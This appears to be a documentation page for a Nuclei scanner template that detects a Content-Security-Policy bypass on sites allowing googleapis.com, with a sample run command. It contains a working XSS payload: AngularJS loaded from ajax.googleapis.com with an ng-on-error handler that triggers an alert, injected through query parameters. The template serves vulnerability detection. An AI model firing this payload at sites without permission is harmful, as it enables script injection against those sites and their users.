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Content-Security-Policy Bypass - Google AJAX

ID: google-ajax-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,google-ajax

id: google-ajax-csp-bypass
info:
name: Content-Security-Policy Bypass - Google AJAX
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,google-ajax
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "googleapis.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: google_ajax_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);">'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "google_ajax_csp_xss == true"
# digest: 490a00463044022041eb21a0acf091233507c499ef4389dfe72791c1b2676e9602dcc780cb8122c902207811f33f10927d286eb1320fb5f64b6be8a9c088809fcd0ce59481af2e5c9e3d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/google-ajax-csp-bypass.yaml"

View on Github